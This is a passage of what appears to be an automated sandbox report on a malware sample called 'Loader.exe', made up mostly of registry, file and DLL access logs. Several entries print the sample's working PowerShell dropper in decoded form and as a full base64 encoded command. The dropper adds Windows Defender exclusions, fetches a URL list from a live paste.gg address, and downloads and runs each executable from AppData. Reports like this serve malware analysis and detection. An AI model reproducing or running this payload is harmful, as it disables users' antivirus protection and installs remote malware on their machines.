Key: "NAME") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN")41:T1063,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00006460-00000C29-1736622590] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00006460-00000C29-1736947802] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00006460-00000C29-1737042858] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006460-00000C29-1737131089] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll" [Source: 00000000-00006460-00000C29-1737322869] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00006460-00000C29-1737353977] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006460-00000C29-1737410637] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00006460-00000C29-1737486685] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll" [Source: 00000000-00006460-00000C29-1737529175] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll" [Source: 00000000-00006460-00000C29-1737572604] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Drawing\3c82a5286b5172d5a68c8df2e09c4c40\System.Drawing.ni.dll" [Source: 00000000-00006460-00000C29-1737719915] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\bee998043eb1e9badecd282a79540a5e\System.Windows.Forms.ni.dll" [Source: 00000000-00006460-00000C29-1737924642] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" [Source: 00000000-00006460-00000C29-1738064391] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00006460-00000C29-1738666247] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00006460-00000C29-1738702059] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00006460-00000C29-1738725725] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\2a25b59872a72da9b55f952ab1b0bc8b\System.Configuration.ni.dll" [Source: 00000000-00006460-00000C29-1739362462] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\f0078c8c05b31633e5966c5629e65602\System.Xml.ni.dll" [Source: 00000000-00006460-00000C29-1739402017] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" [Source: 00000000-00006460-00000C29-1739688849] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00006460-00000C29-1739851199] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00006460-00000C29-1739975773] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00006460-00000C29-1740045012] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00006460-00000C29-1740162927] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" [Source: 00000000-00006460-00000C29-1740293368] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\bf3d2e6042d943e0fec9ccc0d72c8f3b\System.Data.ni.dll" [Source: 00000000-00006460-00000C29-1740371724]42:T4bd,Spawned process "powershell.exe" with commandline "-EncodedCommand IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAA ..." (UID: 00000000-00008316, Additional Context: "# Start a hidden PowerShell process to display a message box Start-Process powershell -WindowStyle Hidden -ArgumentList @" Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('', '', 'OK', 'Error'); "@ # Add exclusions to Windows Defender Add-MpPreference -ExclusionPath @($env:UserProfile, $env:SystemDrive) -Force # Download files from a Pastebin URL and execute them $wc = New-Object System.Net.WebClient $lnk = $wc.DownloadString('https://paste.gg/p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw') -split "`r`n" # Generate a random file name prefix $fn = [System.IO.Path]::GetRandomFileName() # Download and execute each file for ($i = 0; $i -lt $lnk.Length; $i++) { $filePath = Join-Path -Path $env:AppData -ChildPath ($fn + $i.ToString() + '.exe') $wc.DownloadFile($lnk[$i], $filePath) Start-Process -FilePath $filePath }") Spawned process "powershell.exe" with commandline "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Form ..." (UID: 00000000-00004152)43:T4bd,Spawned process "powershell.exe" with commandline "-EncodedCommand IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAA ..." (UID: 00000000-00008316, Additional Context: "# Start a hidden PowerShell process to display a message box Start-Process powershell -WindowStyle Hidden -ArgumentList @" Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('', '', 'OK', 'Error'); "@ # Add exclusions to Windows Defender Add-MpPreference -ExclusionPath @($env:UserProfile, $env:SystemDrive) -Force # Download files from a Pastebin URL and execute them $wc = New-Object System.Net.WebClient $lnk = $wc.DownloadString('https://paste.gg/p/ssev1a/b16d3698e11c4e1dbbeedf28e4340e5d/files/ded738e3aaac405aaf9f1a7546b7350f/raw') -split "`r`n" # Generate a random file name prefix $fn = [System.IO.Path]::GetRandomFileName() # Download and execute each file for ($i = 0; $i -lt $lnk.Length; $i++) { $filePath = Join-Path -Path $env:AppData -ChildPath ($fn + $i.ToString() + '.exe') $wc.DownloadFile($lnk[$i], $filePath) Start-Process -FilePath $filePath }") Spawned process "powershell.exe" with commandline "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Form ..." (UID: 00000000-00004152)44:Td1f,file/memory contains long string with (Indicator: "Add-Type"; File: "00000000-00008316") file/memory contains long string with (Indicator: "Add-Type"; File: "AMSI") Found string "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('', '', 'OK', 'Error');" (Indicator: "Add-Type"; File: "AMSI") Found string ""C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe" Add-Type -AssemblyName System.Windows.Forms;" (Indicator: "Add-Type"; Source: "00000000-00004152.00000000.175960.8D2B0000.00000004.mdmp") Found string "Add-Type" (Indicator: "Add-Type"; Source: "00000000-00004152.00000000.175960.8D2B0000.00000004.mdmp, 00000000-00004152.00000000.175960.8D540000.00000004.mdmp, 00000000-00004152.00000000.175960.8EEE0000.00000004.mdmp") Found string "New-WinEvent" (Indicator: "New-WinEvent"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Import-Counter" (Indicator: "Import-Counter"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Add-Member" (Indicator: "Add-Member"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Add-Type" (Indicator: "Add-Type"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "New-TimeSpan" (Indicator: "New-Timespan"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Import-LocalizedData" (Indicator: "Import-LocalizedData"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Import-Clixml" (Indicator: "Import-Clixml"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Register-EngineEvent" (Indicator: "Register-EngineEvent"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "New-Event" (Indicator: "New-Event"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp")45:T76e,Found string "Get-Job" (Indicator: "Get-Job"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Receive-Job" (Indicator: "Receive-Job"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Remove-Job" (Indicator: "Remove-Job"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Stop-Job" (Indicator: "Stop-Job"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Wait-Job" (Indicator: "Wait-Job"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Resume-Job" (Indicator: "Resume-Job"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Start-Job" (Indicator: "Start-Job"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Debug-Job" (Indicator: "Debug-Job"; Source: "00000000-00006460.00000000.174701.03170000.00000004.mdmp") Found string "Get-Job" (Indicator: "Get-Job"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Receive-Job" (Indicator: "Receive-Job"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Remove-Job" (Indicator: "Remove-Job"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Stop-Job" (Indicator: "Stop-Job"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Wait-Job" (Indicator: "Wait-Job"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Resume-Job" (Indicator: "Resume-Job"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Start-Job" (Indicator: "Start-Job"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp") Found string "Debug-Job" (Indicator: "Debug-Job"; Source: "00000000-00008316.00000000.175421.3DEF0000.00000004.mdmp")46:Tac3,Process "powershell.exe" with commandline "-EncodedCommand IwAgAFMAdABhAHIAdAAgAGEAIABoAGkAZABkAGUAbgAgAFAAbwB3AGUAcgBTAGgAZQBsAGwAIABwAHIAbwBjAGUAcwBzACAAdABvACAAZABpAHMAcABsAGEAeQAgAGEAIABtAGUAcwBzAGEAZwBlACAAYgBvAHgADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIABAACIADQAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMAOwANAAoAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnACcALAAgACcAJwAsACAAJwBPAEsAJwAsACAAJwBFAHIAcgBvAHIAJwApADsADQAKACIAQAANAAoADQAKACMAIABBAGQAZAAgAGUAeABjAGwAdQBzAGkAbwBuAHMAIAB0AG8AIABXAGkAbgBkAG8AdwBzACAARABlAGYAZQBuAGQAZQByAA0ACgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgACQAZQBuAHYAOgBTAHkAcwB0AGUAbQBEAHIAaQB2AGUAKQAgAC0ARgBvAHIAYwBlAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGYAaQBsAGUAcwAgAGYAcgBvAG0AIABhACAAUABhAHMAdABlAGIAaQBuACAAVQBSAEwAIABhAG4AZAAgAGUAeABlAGMAdQB0AGUAIAB0AGgAZQBtAA0ACgAkAHcAYwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0AA0ACgAkAGwAbgBrACAAPQAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwAHMAOgAvAC8AcABhAHMAdABlAC4AZwBnAC8AcAAvAHMAcwBlAHYAMQBhAC8AYgAxADYAZAAzADYAOQA4AGUAMQAxAGMANABlADEAZABiAGIAZQBlAGQAZgAyADgAZQA0ADMANAAwAGUANQBkAC8AZgBpAGwAZQBzAC8AZABlAGQANwAzADgAZQAzAGEAYQBhAGMANAAwADUAYQBhAGYAOQBmADEAYQA3ADUANAA2AGIANwAzADUAMABmAC8AcgBhAHcAJwApACAALQBzAHAAbABpAHQAIAAiAGAAcgBgAG4AIgANAAoADQAKACMAIABHAGUAbgBlAHIAYQB0AGUAIABhACAAcgBhAG4AZABvAG0AIABmAGkAbABlACAAbgBhAG0AZQAgAHAAcgBlAGYAaQB4AA0ACgAkAGYAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABSAGEAbgBkAG8AbQBGAGkAbABlAE4AYQBtAGUAKAApAA0ACgANAAoAIwAgAEQAbwB3AG4AbABvAGEAZAAgAGEAbgBkACAAZQB4AGUAYwB1AHQAZQAgAGUAYQBjAGgAIABmAGkAbABlAA0ACgBmAG8AcgAgACgAJABpACAAPQAgADAAOwAgACQAaQAgAC0AbAB0ACAAJABsAG4AawAuAEwAZQBuAGcAdABoADsAIAAkAGkAKwArACkAIAB7AA0ACgAgACAAIAAgACQAZgBpAGwAZQBQAGEAdABoACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAAtAEMAaABpAGwAZABQAGEAdABoACAAKAAkAGYAbgAgACsAIAAkAGkALgBUAG8AUwB0AHIAaQBuAGcAKAApACAAKwAgACcALgBlAHgAZQAnACkADQAKACAAIAAgACAAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAbABuAGsAWwAkAGkAXQAsACAAJABmAGkAbABlAFAAYQB0AGgAKQANAAoAIAAgACAAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAAkAGYAaQBsAGUAUABhAHQAaAANAAoAfQA=" (UID: 00000000-00008316) Process "powershell.exe" with commandline "Add-Type -AssemblyName System.Windows.Forms;[System.Windows.Forms.MessageBox]::Show('', '', 'OK', 'Error');" (UID: 00000000-00004152)47:T574,"ModuleAnalysisCache" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00004152] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00004152] "__PSScriptPolicyTest_h0qigsys.nn0.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_h0qigsys.nn0.psm1]- [targetUID: 00000000-00004152] "__PSScriptPolicyTest_54tdtoyr.4qs.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_54tdtoyr.4qs.ps1]- [targetUID: 00000000-00008316] "__PSScriptPolicyTest_tpv2wige.y0o.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_tpv2wige.y0o.ps1]- [targetUID: 00000000-00006460] "__PSScriptPolicyTest_gx32mqjv.wmr.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_gx32mqjv.wmr.ps1]- [targetUID: 00000000-00004152] "__PSScriptPolicyTest_r2tzsvhz.i4p.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_r2tzsvhz.i4p.psm1]- [targetUID: 00000000-00008316] "__PSScriptPolicyTest_1midewnx.jod.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_1midewnx.jod.psm1]- [targetUID: 00000000-00006460]48:T647,"Loader.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\OSDATA\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: ""; Value: "") "Loader.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: ""; Value: "")49:Tb45,"Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "ACP"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "OEMCP"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "57A6ED1A-79F7-5011-B242-4784E5620CF7"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B749553B-D950-5E03-6282-3145A61B1002"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000604XX"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "8CCCA27D-F1D8-4DDA-B5DD-339AEE937731"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "18608E62-A628-49D9-8C02-55972E097D24"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "SYSMAIN.SDB"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "DISABLEDOUBLEQUERYSDBS"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "SYSMERGE.SDB"; Value: "") "Loader.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SHELL FOLDERS"; Key: "CACHE"; Value: "")4a:T858,"Loader.exe" reads file "c:\windows\microsoft.net\framework64\v4.0.30319\config\machine.config" "Loader.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll.aux" "Loader.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.manaa57fc8cc#\ea893d7e336a196c927c3f1251a1d1a9\system.management.automation.ni.dll.aux" "Loader.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system\ce0fd4f5b50baa17e7b80e4ee874ad11\system.ni.dll.aux" "Loader.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.core\990501e6199819806f01c8ecac88baac\system.core.ni.dll.aux" "Loader.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.windows.forms\bee998043eb1e9badecd282a79540a5e\system.windows.forms.ni.dll.aux" "Loader.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.drawing\3c82a5286b5172d5a68c8df2e09c4c40\system.drawing.ni.dll.aux" "Loader.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\microsoft.p1706cafe#\17182784b4d739db89359f759c9b7680\microsoft.powershell.commands.diagnostics.ni.dll.aux" "Loader.exe" reads file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_tpv2wige.y0o.ps1" "Loader.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\system.confe64a9051#\b4c34523c582146dea3ca389e3487145\system.configuration.install.ni.dll.aux" "Loader.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\microsoft.pb378ec07#\86af2f4f2745738837c95f24472c32ca\microsoft.powershell.consolehost.ni.dll.aux" "Loader.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\microsoft.p521220ea#\468fa5ae84991aaf4d90ecee8788f024\microsoft.powershell.commands.utility.ni.dll.aux" "Loader.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\microsoft.pae3498d9#\9494eda0c9af503cb61fe450b5ba9c1a\microsoft.powershell.commands.management.ni.dll.aux" "Loader.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_64\microsoft.mf49f6405#\f4889fa032f8023fe280a54700d6d3a5\microsoft.management.infrastructure.ni.dll.aux"4b:T9bb,"Loader.exe" trying to access non-existent file "C:\CRYPTSP.DLL" "Loader.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_1_CLR0400.dll" "Loader.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "Loader.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "Loader.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "Loader.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "Loader.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "Loader.exe" trying to access non-existent file "C:\CRYPTBASE.dll" "Loader.exe" trying to access non-existent file "C:\bcrypt.dll" "Loader.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" "Loader.exe" trying to access non-existent file "C:\winnlsres.dll" "Loader.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" "Loader.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll.DLL" "Loader.exe" trying to access non-existent file "C:\MSASN1.dll" "Loader.exe" trying to access non-existent file "C:\profapi.dll" "Loader.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll" "Loader.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" "Loader.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" "Loader.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" "Loader.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll" "Loader.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VERSION.dll" "Loader.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll"4c:T679,"Loader.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\MSCOREE.DLL.local" "Loader.exe" trying to access non-existent file "C:\Loader.exe.config" "Loader.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "Loader.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\script" "Loader.exe" trying to access non-existent file "C:\Loader.INI" "Loader.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "Loader.exe" trying to access 